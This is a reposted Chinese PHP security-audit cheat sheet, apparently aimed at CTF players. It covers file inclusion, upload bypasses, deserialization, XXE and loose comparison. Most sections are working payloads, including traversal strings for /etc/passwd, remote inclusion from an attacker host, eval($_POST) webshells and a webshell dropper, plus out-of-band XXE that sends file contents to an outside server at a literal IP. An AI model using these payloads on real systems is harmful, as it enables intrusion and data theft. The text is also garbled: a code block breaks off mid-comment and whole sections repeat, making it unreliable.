PHP代码审计(转)

默认网页根路径:/var/www/html/index.php;尝试读取/proc/self/cwd/templates/upload.html

文件包含

常见的导致文件包含的函数有:

  • PHP:include()include_once()require()require_once()fopen()readfile()file_get_contents()
  • JSP Servlet:ava.io.File()java.io.FileReader()
  • ASP:includefileincludevirtual

当 PHP 包含一个文件时,会将该文件当做 PHP 代码执行,而不会在意文件时什么类型。

本地文件包含

本地文件包含,Local File Inclusion,LFI。

1
2
3
4
5
6
<?php
$file = $_GET['file'];
if (file_exists('/home/wwwrun/'.$file.'.php')) {
  include '/home/wwwrun/'.$file.'.php';
}
?>

上述代码存在本地文件包含,可用 %00 截断的方式读取 /etc/passwd 文件内容。

  • %00 截断

    1
    ?file=../../../../../../../../../etc/passwd%00
    

    需要 magic_quotes_gpc=offPHP 小于 5.3.4 有效。

  • 路径长度截断

    1
    ?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
    

    Linux 需要文件名长于 4096,Windows 需要长于 256。

  • 点号截断

    1
    ?file=../../../../../../../../../boot.ini/………[…]…………
    

    只适用 Windows,点号需要长于 256。

远程文件包含

远程文件包含,Remote File Inclusion,RFI。

1
2
3
4
5
6
<?php
if ($route == "share") {
  require_once $basePath . "/action/m_share.php";
} elseif ($route == "sharelink") {
  require_once $basePath . "/action/m_sharelink.php";
}

构造变量 basePath 的值。

1
/?basePath=http://attacker/phpshell.txt?

最终的代码执行了

1
require_once "http://attacker/phpshell.txt?/action/m_share.php";

问号后的部分被解释为 URL 的 querystring,这也是一种「截断」。

利用协议

1
2
3
4
5
6
7
8
9
10
11
12
13
file:// 访问本地文件系统,?p=file:///etc/passwd
http:// 访问http网址
ftp:// 访问FTP
php:// 访问I/O stream
zlib:// 压缩流
data:// 数据(RFC2397)
glob:// 查找匹配文件路径模式
phar:// PHP归档,解压缩包
zip:// 读zip文件,"zip://test.zip#file.txt"中的"#"要编码为%23
ssh2:// secure shell2
rar:// RAR
ogg:// 音频流
expect:// 处理交互式的流
  • 普通远程文件包含

    1
    ?file=[http|https|ftp]://example.com/shell.txt
    

    需要 allow_url_fopen=On 并且 allow_url_include=On

  • 利用 PHP 流 input得到原始POST数据

    1
    ?file=php://input
    

    需要 allow_url_include=On

  • 利用 PHP 流 filter

    1
    2
    ?file=php://filter/read=convert.base64-encode/resource=index.php
    ?file=php://filter/read=string.rot13/resource=flag #如果过滤了base64可以用rot13
    

    需要 allow_url_include=On

  • 打包之后上传,利用phar或者zip协议读

    1
    2
    ?file=phar://./uploads/1.jpg/shell
    ?file=zip://./uploads/1.jpg%23shell
    
  • 利用 data URIs

    1
    ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
    

    需要 allow_url_include=On

  • 利用 XSS 执行

    1
    ?file=http://127.0.0.1/path/xss.php?xss=phpcode
    

    需要 allow_url_fopen=Onallow_url_include=On 并且防火墙或者白名单不允许访问外网时,先在同站点找一个 XSS 漏洞,包含这个页面,就可以注入恶意代码了。

文件上传

文件上传漏洞是指用户上传了一个可执行脚本文件,并通过此文件获得了执行服器端命令的能力。在大多数情况下,文件上传漏洞一般是指上传 WEB 脚本能够被服务器解析的问题,也就是所谓的 webshell 问题。完成这一攻击需要这样几个条件,一是上传的文件能够这 WEB 容器执行,其次用户能从 WEB 上访问这个文件,最后,如果上传的文件被安全检查、格式化、图片压缩等功能改变了内容,则可能导致攻击失败。

绕过上传检查

  • 前端检查扩展名

    抓包绕过即可。

  • 通过Content-Type 检测文件类型

    通过代码:if($_FILES['uploaded']['type'] =="image/jpeg")   //获取文件上传的类型限制上传类型,抓包修改 Content-Type 类型,使其符合白名单规则。

  • 文件头检查绕过

    在一句话木马前面加入GIF89a,然后将木马保存为图片格式。

  • PHP过滤上传后缀

    %00 截断,a.php->a.php .jpg->burpsuite(proxy,hex)将空格对应的hex 20修改为00->a.php\0jpga.php%00.jpg->右键Convert selection->URL->URL-decode。截断条件:PHP版本<5.3.4且magic_quotes_gpc为OFF(当其为ON的时候,所有单引号,双引号,反斜线,NULL字符都会自动加上反斜线进行转义,类似函数:addslashes(), mysql_escape_string(), mysql_real_escape_string())。

  • phar

    1.php文件压缩成zip文件,然后改格式为支持上传的类型,比如png(1.php→压缩得到1.zip→重命名→1.png→上传),这样就会上传成功了,记住文件上传成功的路径,接下来输入xxx.com/home.php?fp=phar://uploads/xxx.png/1,这里phar是读zip文件的,因为你刚开始压缩的是1.php文件,这里的1的后面不用加.php了,因为fp把本地文件包含进来的时候已经加.php了。

  • 替换后缀名php为jpg

    后缀大小写、双写、特殊后缀如 php5 等。特别地,如果只是从左往右替换第一个php,可以上传文件名为xxx.php.php,后台仅仅将第一个php替换,因此得到:xxx.jpg.php

  • iconv函数限制上传

    如果不管上传什么格式文件,都会自动添加.jpg后缀,可以怀疑是使用了iconv这个函数进行上传限制。由于string iconv(string $in_charset , string $out_charset , string $str)在字符编码转换时可能导致字符串截断。当$str中有一个字符不能被目标字符集所表达时,$str从第一个无效字符开始截断并导致一个 E_NOTICE。 假如服务器端使用:iconv("UTF-8", "gb2312//IGNORE", $str)(PHP从5.4.0开始,如果不显示指示//IGNORE,字符非法会默认返回FALSE,而不是截断),上传一个xx.php ,抓包将后面空格对应的hex 20改为0x80-0xEF中任意一个,由于0x80-0xEF不是合法的gb2312字符,因此后面的字符(服务器自动加的.jpg)会被截断。

  • 双文件上传

    文件上传的地方,右键审查元素,修改action为完整路径(因为需要另存为本地文件),然后复制多一个上传“浏览文件元素”:<input name="FileName" type="FILE" size="25">,这样会出现两个浏览文件框,另存为本地文件1.html。第一个选择正常jpg文件,第二个选择木马文件,此时点击上传按钮会将两个文件上传。

利用解析漏洞

常用搭配:PHP + MySQL + ApacheASP + AccessmsSQL + IIS,其中,识别服务器信息方式:

  1. 审查元素,根据页面Header信息判断
  2. 第三方平台查询
  3. 扫描工具获取,如:wwwscan
  • Apache 解析漏洞

    • mime.types配置文件定义了Apache能够解析哪些文件类型(白名单),Apache对文件的解析是从右到左开始判断并进行解析,后缀名不在mime.types白名单中,则判断为不能解析的类型,会继续向左进行解析, 如上传文件phpshell.php.rar.rar.rar.rar ,因为 Apache 不认识 .rar 这个文件类型,所以会一直遍历后缀到 .php,然后认为这是一个 PHP 文件。
    • .htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过.htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。如果允许上传一个内容为<FilesMatch "jpg"> SetHandler application/x-httpd-php </FilesMatch> .htaccess文件,然后再上传文件名包含jpg的木马。此时,Apache通过.htaccess文件,发现文件名匹配jpg,就会调用php的解析器进行解析。
  • IIS6.0 解析漏洞

    • 目录解析漏洞/xx.asp/xx.jpg,创建文件夹名字为.asp、.asa的文件夹,其目录内的任何扩展名的文件都被IIS当做asp文件来解析并执行。
    • 当文件名为 abc.asp;xx.jpg 时,会将其解析为 abc.asp
    • IIS6.0默认的可执行文件除了asp还包含这三种asa、cer、cdx
  • IIS7.x和Nginx<8.03以CGI 路径解析PHP

    在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo,在本机中位于C:\wamp\bin\php\php5.3.10\php.ini,默认是开启的,当URL中有不存在的文件,PHP就会向前递归解析。 配置如下:

    1
    2
    3
    4
    5
    6
    7
    location ~ \.php$ {
      root html;
      fastcgi_pass 127.0.0.1:9000;
      fastcgi_index index.php;
      fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;
      include fastcgi_param;
    }
    
    • 在正常图片后加/x.php,就能将文件解析为PHP,如上传文件test.jpg,访问地址:test.jpg/x.php即被当作php文件解析执行。当访问 http://www.a.com/path/test.jpg/notexist.php 时,会将 test.jpg 当做 PHP 解析, notexist.php 是不存在的文件。
    • 上传名字为xx.jpg,内容为: <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?> ,然后访问xx.jpg/.php,在这个目录下就会生成一句话木马shell.php
  • Nginx<8.03空字节代码执行漏洞

    上传xxx.jpg,访问xxx.jpg%00.php或者xxx.jpg/%20\0.php

  • Windows后缀名解析漏洞

    Windows会将文件的后缀中的空格以及点进行过滤,如果遇到是黑名单校验的并且目标系统是Windows,可以上传xx.php 或者xx.php.

命令执行

直接执行代码

PHP 中有不少可以直接执行代码的函数,如上传一句话木马之后,直接post data:x=phpinfo();x=system(ls /);

1
2
3
4
5
6
7
8
9
10
11
12
eval();
assert();
system();
exec();
shell_exec();
passthru();
escapeshellcmd();
pcntl_exec();
$a=[["pipe","r"], ["pipe","w"], ["pipe","w"]];$fp=proc_open("/readflag",$a,$p);echo
stream_get_contents($p[1]);
$dr = @opendir('/'); while(($files[] = readdir($dr)) !== false); print_r($files);
echo system('ls');

preg_replace() 代码执行

preg_replace() 的第一个参数如果存在 /e 模式修饰符,则允许代码执行。

1
2
3
4
<?php
$var = "<tag>phpinfo()</tag>";
preg_replace("/<tag>(.*?)<\/tag>/e", "addslashes(\1)", $var);
?>

如果没有 /e 修饰符,可以尝试 %00 截断。

动态函数执行

用户自定义的函数可以导致代码执行。

1
2
3
4
5
<?php
$dyn_func = $_GET["dyn_func"];
$argument = $_GET["argument"];
$dyn_func($argument);
?>

反引号命令执行

1
2
3
<?php
echo `ls -al`;
?>

Curly Syntax

PHP 的 Curly Syntax 也能导致代码执行,它将执行花括号间的代码,并将结果替换回去。

1
2
3
<?php
$var = "aaabbbccc ${`ls`}";
?>
1
2
3
4
<?php
$foobar = "phpinfo";
${"foobar"}();
?>

回调函数

call_user_func(callback, args...)

很多函数都可以执行回调函数,当回调函数用户可控时,将导致代码执行。

1
2
3
4
5
<?php
$evil_callback = $_GET["callback"];
$some_array = array(0,1,2,3);
$new_array = array_map($evil_callback, $some_array);
?>

攻击 payload

1
http://www.a.com/index.php?callback=phpinfo

反序列化

1
2
3
4
5
6
7
8
9
10
11
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

复制类到php文件,new一个对象,设置预先设定的属性,调用serialize()得到序列化字符串。

1
2
3
$a = new Example();
$a->var = 'hello'; #public属性直接设置,private需要借助set
echo base64_encode(serialize($a));

当类中未定义的私有变量被访问时,会调用魔术函数__get()。(sample:ezsql-安恒月赛-2018-11)

$a->notexist() #会调用__get()

如果 unserialize() 在执行时定义了 __destruct()__wakeup() 函数,则有可能导致代码执行。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Example {
  var $var = "";
  function __destruct() {
    eval($this->$var);
  }
  function __get(){
    echo "";
  }
}
unserialize($_GET["saved_code"]);
?>

攻击 payload

1
http://www.a.com/index.php?saved_code=O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";}

PHP标准库中直接目录迭代和文件处理的类

class introduction
FilesystemIterator The Filesystem iterator
SplFileObject The SplFileObject class offers an object oriented interface for a file.
DirectoryIterator provides a simple interface for viewing the contents of filesystem directories
GlobIterator Iterates through a file system in a similar fashion to glob().
1
2
O:1:"A":2:{S:5:"class";s:18:"FilesystemIterator";s:4:"para";s:13:"/var/www/html";}
O:1:"A":2:{S:5:"class";s:13:"SplFileObject";s:4:"para";s:21:"/var/www/html/flag.php";}

利用phar拓展php反序列化漏洞攻击面

phar文件会以序列化的形式存储用户自定义的meta-data,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,因此可以不依赖unserialize()直接进行反序列化操作。

php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件上传,再借助LFI的phar协议,触发文件操作函数进行反序列化,利用条件如下:

  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”,一般是__destruct()
  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

注意:

  • 要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
  • unserialize反序列化会先触发__wakeup再触发__construct,但是通过phar反序列化不会触发这两个魔术方法。两者都会触发__destruct
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
/*$o->title = 'aaaa

如果题目限制phar://不能出现在头几个字符,借助:compress.bzip2compress.zlib

compress.bzip2://phar:///home/sx/test.phar/test.txt

序列化字符串对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行(CVE-2016-7124)

序列化字符串对象属性个数的值大于真实的属性个数,会导致反序列化失败使得__wakeup无法被触发,但是随后会继续触发__destruct。漏洞影响版本:PHP5 < 5.6.25PHP7 < 7.0.10。(sample:DoYouKnowRobots-GXY-CTF-2019)

O:10:"TestObject":1:{s:5:"value";N;}

O代表Object(对应还有A对应Array),10代表对象名字10个字符,1代表对象1个属性(修改此值触发漏洞),s代表string(i代表int),5代表属性名长度,N代表NULL。

XXE(XML External Entity Injection)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!--read file-->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///etc/passwd">]>
<foo>
<value>&passwd;</value>
</foo>
<!--local network access:http://gv7.me/articles/2018/think-about-blind-xxe-payload-->
file:///etc/hosts
file:///proc/net/arp //找内网
ENTITY xxe SYSTEM "http://192.168.1.8"
<!--read php-->
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">]>
<root>
<name>&xxe;</name>
</root>
<!--read file through DTD, need to pre-set evil.dtd in vps-->
<!--METHOD1, read file-->
<!ENTITY b SYSTEM "file:///etc/passwd"> <!--evil.dtd-->
<!DOCTYPE a [<!ENTITY % f SYSTEM "http://vps/evil.dtd"> %f;]>
<a>&b;</a>
<!--METHOD2,list directory in Java ONLY! https://www.jianshu.com/p/ee03fcdce0cf,https://mp.weixin.qq.com/s/RieBYsDxKdP82gArn22aZw,https://xz.aliyun.com/t/3357-->
<!ENTITY % file SYSTEM "netdoc:../webapps/ctffffff/backups/">
<!ENTITY % test "<!ENTITY &#37; back SYSTEM 'http://xxxx.xxxx.xxx:8000/?file=%file;'>"><!--evil.dtd-->
<!DOCTYPE ANY[
<!ENTITY % send SYSTEM 'http://120.79.152.66:8000/evil.dtd'>
%send;%test;%back;
]>

变量覆盖

全局变量覆盖

变量如果未被初始化,且能够用户所控制,那么很可能会导致安全问题。

1
register_globals=ON

示例

1
2
3
4
5
6
7
<?php
echo "Register_globals: " . (int)ini_get("register_globals") . "<br/>";

if ($auth) {
  echo "private!";
}
?>

register_globals=ON 时,提交 test.php?auth=1auth 变量将自动得到赋值。

extract() 变量覆盖

extract() 函数能够将变量从数组导入到当前的符号表,其定义为

1
int extract ( array $var_array [, int $extract_type [, string $prefix ]] )

其中,第二个参数指定函数将变量导入符号表时的行为,最常见的两个值是 EXTR_OVERWRITEEXTR_SKIP

当值为 EXTR_OVERWRITE 时,在将变量导入符号表的过程中,如果变量名发生冲突,则覆盖所有变量;值为 EXTR_SKIP 则表示跳过不覆盖。若第二个参数未指定,则在默认情况下使用 EXTR_OVERWRITE

1
2
3
4
5
6
7
8
9
10
<?php
$auth = "0";
extract($_GET);

if ($auth == 1) {
  echo "private!";
} else {
  echo "public!";
}
?>

extract() 函数从用户可以控制的数组中导出变量时,可能发生变量覆盖。

import_request_variables 变量覆盖

1
bool import_request_variables (string $types [, string $prefix])

import_request_variables 将 GET、POST、Cookies 中的变量导入到全局,使用这个函数只用简单地指定类型即可。

1
2
3
4
5
6
7
8
9
10
<?php
$auth = "0";
import_request_variables("G");

if ($auth == 1) {
  echo "private!";
} else {
  echo "public!";
}
?>

import_request_variables("G") 指定导入 GET 请求中的变量,提交 test.php?auth=1 出现变量覆盖。

parse_str() 变量覆盖

1
void parse_str ( string $str [, array &$arr ]) //parse_str("name=Bill&age=60");

parse_str() 函数通常用于解析 URL 中的 querystring,但是当参数值可以被用户控制时,很可能导致变量覆盖。

1
2
3
4
// var.php?var=new  变量覆盖
$var = "init";
parse_str($_SERVER["QUERY_STRING"]);
print $var;

parse_str() 类似的函数还有 mb_parse_str()

输出当前进程变量/常量/模块/函数/类

1
2
3
4
5
6
array get_defined_vars ( void ) #(PHP 4 >= 4.0.4, PHP 5) — 获取由所有已定义变量所组成的数组
array get_defined_functions ( void ) #(PHP 4 >= 4.0.4, PHP 5) — 获取所有已经定义的函数
array get_defined_constants ([ bool $categorize = false ] ) #(PHP 4 >= 4.1.0, PHP 5) —  获取关联数组的名字所有的常量和它们的值
array get_loaded_extensions ( void ) #(PHP 4, PHP 5) — 获取所有可用的模块
array get_extension_funcs ( string $module_name ) #(PHP 4, PHP 5) — 获取指定模块的可用函数,传入的参数(模块名称)必须是小写
array get_declared_classes ( void ) #(PHP 4, PHP 5) —  获取由已定义类的名字所组成的数组

PHP 特性

数组

1
2
3
4
5
<?php
$var = 1;
$var = array();
$var = "string";
?>

php 不会严格检验传入的变量类型,也可以将变量自由的转换类型。

比如在 $a == $b 的比较中

1
2
3
4
$a = null; 
$b = false; //为真 
$a = ''; 
$b = 0; //同样为真

然而,PHP 内核的开发者原本是想让程序员借由这种不需要声明的体系,更加高效的开发,所以在几乎所有内置函数以及基本结构中使用了很多松散的比较和转换,防止程序中的变量因为程序员的不规范而频繁的报错,然而这却带来了安全问题。

1
2
3
4
0=='0' //true
0 == 'abcdefg' //true
0 === 'abcdefg' //false
1 == '1abcdef' //true

魔法 Hash(sample:web7-掘安杯2019)

1
2
3
4
5
6
7
"0e132456789"=="0e7124511451155" //true,必须全为0-9数字
"0e123456abc"=="0e1dddada" //false
"0e1abc"=="0"  //true
md5('240610708') = 0e462097431906509019562988736854
md5('QNKCDZO') = 0e830400451993494058024219903391
md5('s214587387a') = 0e848240448830537924465865611904
md5('0e215962017') = 0e291242476940776845150308577824

在进行==弱比较运算时,如果遇到了 0e\d+ 这种字符串,就会将这种字符串解析为科学计数法。所以上面例子中 2 个数的值都是 0 因而就相等了。

如果是===强比较,则需要:

  • 通过md5(array)=null来绕过
  • 通过fastcoll构造相同md5值的不同输入,再通过url编码之后发送

十六进制转换

1
2
3
"0x1e240"=="123456" //true
"0x1e240"==123456 //true
"0x1e240"=="1e240" //false

当其中的一个字符串是 0x 开头的时候,PHP 会将此字符串解析成为十进制然后再进行比较,0x1240 解析成为十进制就是 123456,所以与 int 类型和 string 类型的 123456 比较都是相等。

类型转换

常见的转换主要就是 int 转换为 stringstring 转换为 int

intstring

1
2
3
$var = 5;
方式1:$item = (string)$var;
方式2:$item = strval($var);

stringintintval() 函数。

对于这个函数,可以先看 2 个例子。

1
2
3
var_dump(intval('2')) //2
var_dump(intval('3abcd')) //3
var_dump(intval('abcd')) //0

说明 intval() 转换的时候,会将从字符串的开始进行转换知道遇到一个非数字的字符。即使出现无法转换的字符串, intval() 不会报错而是返回 0。

同时,程序员在编程的时候也不应该使用如下的这段代码:

1
2
3
if(intval($a)>1000) {
 mysql_query("select * from news where id=".$a)
}

这个时候 $a 的值有可能是 1002 union

内置函数的参数的松散性

内置函数的松散性说的是,调用函数时给函数传递函数无法接受的参数类型。解释起来有点拗口,还是直接通过实际的例子来说明问题,下面会重点介绍几个这种函数。

md5()

1
2
3
4
5
6
$array1[] = array(
 "foo" => "bar",
 "bar" => "foo",
);
$array2 = array("foo", "bar", "hello", "world");
var_dump(md5($array1)==var_dump($array2)); //true

string md5 ( string $str [, bool $raw_output = false ] )md5() 中的需要是一个 string 类型的参数。但是当你传递一个 array 时,md5() 不会报错,只是会无法正确地求出 array 的 md5 值,返回NULL,这样就会导致任意 2 个 array 的 md5 值都会相等。

strpos()

int strpos(string $haystack , mixed $needle [, int $offset = 0 ]),返回needle存在于haystack字符串起始的位置(独立于 offset)。注意字符串位置是从0开始,而不是从1开始的。如果没找到 needle,将返回FALSEhaystack传入数组时,版本5.3以前会触发一个 Notice 级的Array to string conversion,返回FALSE,版本5.3以后会触发一个type mismatch的warning,返回NULL

strcmp()

strcmp() 函数在 PHP 官方手册中的描述是 intstrcmp ( string $str1 , string $str2 ),需要给 strcmp() 传递 2 个 string 类型的参数。如果 str1 小于 str2,返回 -1,相等返回 0,否则返回 1。strcmp() 函数比较字符串的本质是将两个变量转换为 ASCII,然后进行减法运算,然后根据运算结果来决定返回值。

如果传入给出 strcmp() 的参数是数字呢?

1
2
$a = array(1,2,3);
var_dump(strcmp('Array',$a)); //int(0),表示数组参加strcmp默认转换为'Array'

preg_match()

preg_match(string $pattern, string $subject)返回 pattern 的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后将会停止搜索。preg_match_all()不同于此,它会一直搜索subject 直到到达结尾。 如果发生错误preg_match()返回 FALSE当匹配超过1000000字符时会崩溃,返回0。(sample:php-plus-ichunqiu圣诞欢乐赛-2018)。

1
2
3
4
$a = array(1,2,3);
var_dump(preg_match('/string/is',$a)); //bool(false)
$a = "Merry Christmas" . str_repeat("a",1000000);
var_dump(preg_match('/Merry.*Christmas/is',$a)); //int(0)

switch()

如果 switch() 是数字类型的 case 的判断时,switch 会将其中的参数转换为 int 类型。如下:

1
2
3
4
5
6
7
8
9
10
$i ="2abc";
switch ($i) {
case 0:
case 1:
case 2:
 echo "i is less than 3 but not negative";
 break;
case 3:
 echo "i is 3";
}

这个时候程序输出的是 i is less than 3 but not negative ,是由于 switch() 函数将 $i 进行了类型转换,转换结果为 2。

in_array()

在 PHP 手册中, in_array() 函数的解释是 bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ) ,如果strict参数没有提供,那么in_array就会使用松散比较来判断 $needle 是否在 $haystack 中。当 strince 的值为 true 时, in_array() 会比较 needls 的类型和 haystack 中的类型是否相同。

1
2
3
$array=[0,1,2,'3'];
var_dump(in_array('abc', $array)); //true
var_dump(in_array('1bc', $array)); //true

可以看到上面的情况返回的都是 true,因为 'abc' 会转换为 0, '1bc' 转换为 1。

array_search()in_array() 也是一样的问题。

寻找源代码备份

hg 源码泄露

hg init 时会产生 .hg 文件。

利用工具 dvcs-ripper

Git 源码泄露

.git 目录内有代码的变更记录等文件,如果部署时该目录下的文件可被访问,可能会被利用来恢复源代码。

1
2
3
4
5
/.git
/.git/HEAD
/.git/index
/.git/config
/.git/description

GitHack

1
python GitHack.py http://www.openssl.org/.git/

GitHacker(可恢复完整 Git 仓库),仅仅支持Linux

1
python GitHacker.py http://www.openssl.org/.git/

.DS_Store 文件泄露

Mac OS 中会包含有 .DS_Store 文件,包含文件名等信息。

利用工具 ds_store_exp

1
python ds_store_exp.py http://hd.zj.qq.com/themes/galaxyw/.DS_Store

网站备份文件

管理员备份网站文件后错误地将备份放在 Web 目录下。

常见的后缀名:

1
2
3
4
5
6
7
.rar
.zip
.7z
.tar
.tar.gz
.bak
.txt

SVN 泄露

敏感文件:

1
2
3
/.svn
/.svn/wc.db
/.svn/entries

dvcs-ripper

1
perl rip-svn.pl -v -u http://www.example.com/.svn/

Seay - SVN

WEB-INF / web.xml 泄露

WEB-INF 是 Java Web 应用的安全目录,web.xml 中有文件的映射关系。

WEB-INF 主要包含一下文件或目录:

  • /WEB-INF/web.xml :Web 应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
  • /WEB-INF/classes/ :含了站点所有用的 class 文件,包括 servlet class 和非 servlet class,他们不能包含在。jar 文件中。
  • /WEB-INF/lib/ :存放 web 应用需要的各种 JAR 文件,放置仅在这个应用中要求使用的 jar 文件,如数据库驱动 jar 文件。
  • /WEB-INF/src/ :源码目录,按照包名结构放置各个 java 文件。
  • /WEB-INF/database.properties :数据库配置文件。

通过找到 web.xml 文件,推断 class 文件的路径,最后直接 class 文件,在通过反编译 class 文件,得到网站源码。 一般情况,jsp 引擎默认都是禁止访问 WEB-INF 目录的,Nginx 配合 Tomcat 做均衡负载或集群等情况时,问题原因其实很简单,Nginx 不会去考虑配置其他类型引擎(Nginx 不是 jsp 引擎)导致的安全问题而引入到自身的安全规范中来(这样耦合性太高了),修改 Nginx 配置文件禁止访问 WEB-INF 目录就好了:

1
location ~ ^/WEB-INF/* { deny all; } # 或者return 404; 或者其他!

CVS 泄露

1
2
http://url/CVS/Root 返回根信息
http://url/CVS/Entries 返回所有文件的结构

取回源码

1
bk clone http://url/name dir
;?><?php eval($_POST[a]);?>;

如果题目限制phar://不能出现在头几个字符,借助:compress.bzip2compress.zlib

compress.bzip2://phar:///home/sx/test.phar/test.txt

序列化字符串对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行(CVE-2016-7124)

序列化字符串对象属性个数的值大于真实的属性个数,会导致反序列化失败使得__wakeup无法被触发,但是随后会继续触发__destruct。漏洞影响版本:PHP5 < 5.6.25PHP7 < 7.0.10。(sample:DoYouKnowRobots-GXY-CTF-2019)

O:10:"TestObject":1:{s:5:"value";N;}

O代表Object(对应还有A对应Array),10代表对象名字10个字符,1代表对象1个属性(修改此值触发漏洞),s代表string(i代表int),5代表属性名长度,N代表NULL。

XXE(XML External Entity Injection)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!--read file-->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///etc/passwd">]>
<foo>
<value>&passwd;</value>
</foo>
<!--local network access:http://gv7.me/articles/2018/think-about-blind-xxe-payload-->
file:///etc/hosts
file:///proc/net/arp //找内网
ENTITY xxe SYSTEM "http://192.168.1.8"
<!--read php-->
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">]>
<root>
<name>&xxe;</name>
</root>
<!--read file through DTD, need to pre-set evil.dtd in vps-->
<!--METHOD1, read file-->
<!ENTITY b SYSTEM "file:///etc/passwd"> <!--evil.dtd-->
<!DOCTYPE a [<!ENTITY % f SYSTEM "http://vps/evil.dtd"> %f;]>
<a>&b;</a>
<!--METHOD2,list directory in Java ONLY! https://www.jianshu.com/p/ee03fcdce0cf,https://mp.weixin.qq.com/s/RieBYsDxKdP82gArn22aZw,https://xz.aliyun.com/t/3357-->
<!ENTITY % file SYSTEM "netdoc:../webapps/ctffffff/backups/">
<!ENTITY % test "<!ENTITY &#37; back SYSTEM 'http://xxxx.xxxx.xxx:8000/?file=%file;'>"><!--evil.dtd-->
<!DOCTYPE ANY[
<!ENTITY % send SYSTEM 'http://120.79.152.66:8000/evil.dtd'>
%send;%test;%back;
]>

变量覆盖

全局变量覆盖

变量如果未被初始化,且能够用户所控制,那么很可能会导致安全问题。

1
register_globals=ON

示例

1
2
3
4
5
6
7
<?php
echo "Register_globals: " . (int)ini_get("register_globals") . "<br/>";

if ($auth) {
  echo "private!";
}
?>

register_globals=ON 时,提交 test.php?auth=1auth 变量将自动得到赋值。

extract() 变量覆盖

extract() 函数能够将变量从数组导入到当前的符号表,其定义为

1
int extract ( array $var_array [, int $extract_type [, string $prefix ]] )

其中,第二个参数指定函数将变量导入符号表时的行为,最常见的两个值是 EXTR_OVERWRITEEXTR_SKIP

当值为 EXTR_OVERWRITE 时,在将变量导入符号表的过程中,如果变量名发生冲突,则覆盖所有变量;值为 EXTR_SKIP 则表示跳过不覆盖。若第二个参数未指定,则在默认情况下使用 EXTR_OVERWRITE

1
2
3
4
5
6
7
8
9
10
<?php
$auth = "0";
extract($_GET);

if ($auth == 1) {
  echo "private!";
} else {
  echo "public!";
}
?>

extract() 函数从用户可以控制的数组中导出变量时,可能发生变量覆盖。

import_request_variables 变量覆盖

1
bool import_request_variables (string $types [, string $prefix])

import_request_variables 将 GET、POST、Cookies 中的变量导入到全局,使用这个函数只用简单地指定类型即可。

1
2
3
4
5
6
7
8
9
10
<?php
$auth = "0";
import_request_variables("G");

if ($auth == 1) {
  echo "private!";
} else {
  echo "public!";
}
?>

import_request_variables("G") 指定导入 GET 请求中的变量,提交 test.php?auth=1 出现变量覆盖。

parse_str() 变量覆盖

1
void parse_str ( string $str [, array &$arr ]) //parse_str("name=Bill&age=60");

parse_str() 函数通常用于解析 URL 中的 querystring,但是当参数值可以被用户控制时,很可能导致变量覆盖。

1
2
3
4
// var.php?var=new  变量覆盖
$var = "init";
parse_str($_SERVER["QUERY_STRING"]);
print $var;

parse_str() 类似的函数还有 mb_parse_str()

输出当前进程变量/常量/模块/函数/类

1
2
3
4
5
6
array get_defined_vars ( void ) #(PHP 4 >= 4.0.4, PHP 5) — 获取由所有已定义变量所组成的数组
array get_defined_functions ( void ) #(PHP 4 >= 4.0.4, PHP 5) — 获取所有已经定义的函数
array get_defined_constants ([ bool $categorize = false ] ) #(PHP 4 >= 4.1.0, PHP 5) —  获取关联数组的名字所有的常量和它们的值
array get_loaded_extensions ( void ) #(PHP 4, PHP 5) — 获取所有可用的模块
array get_extension_funcs ( string $module_name ) #(PHP 4, PHP 5) — 获取指定模块的可用函数,传入的参数(模块名称)必须是小写
array get_declared_classes ( void ) #(PHP 4, PHP 5) —  获取由已定义类的名字所组成的数组

PHP 特性

数组

1
2
3
4
5
<?php
$var = 1;
$var = array();
$var = "string";
?>

php 不会严格检验传入的变量类型,也可以将变量自由的转换类型。

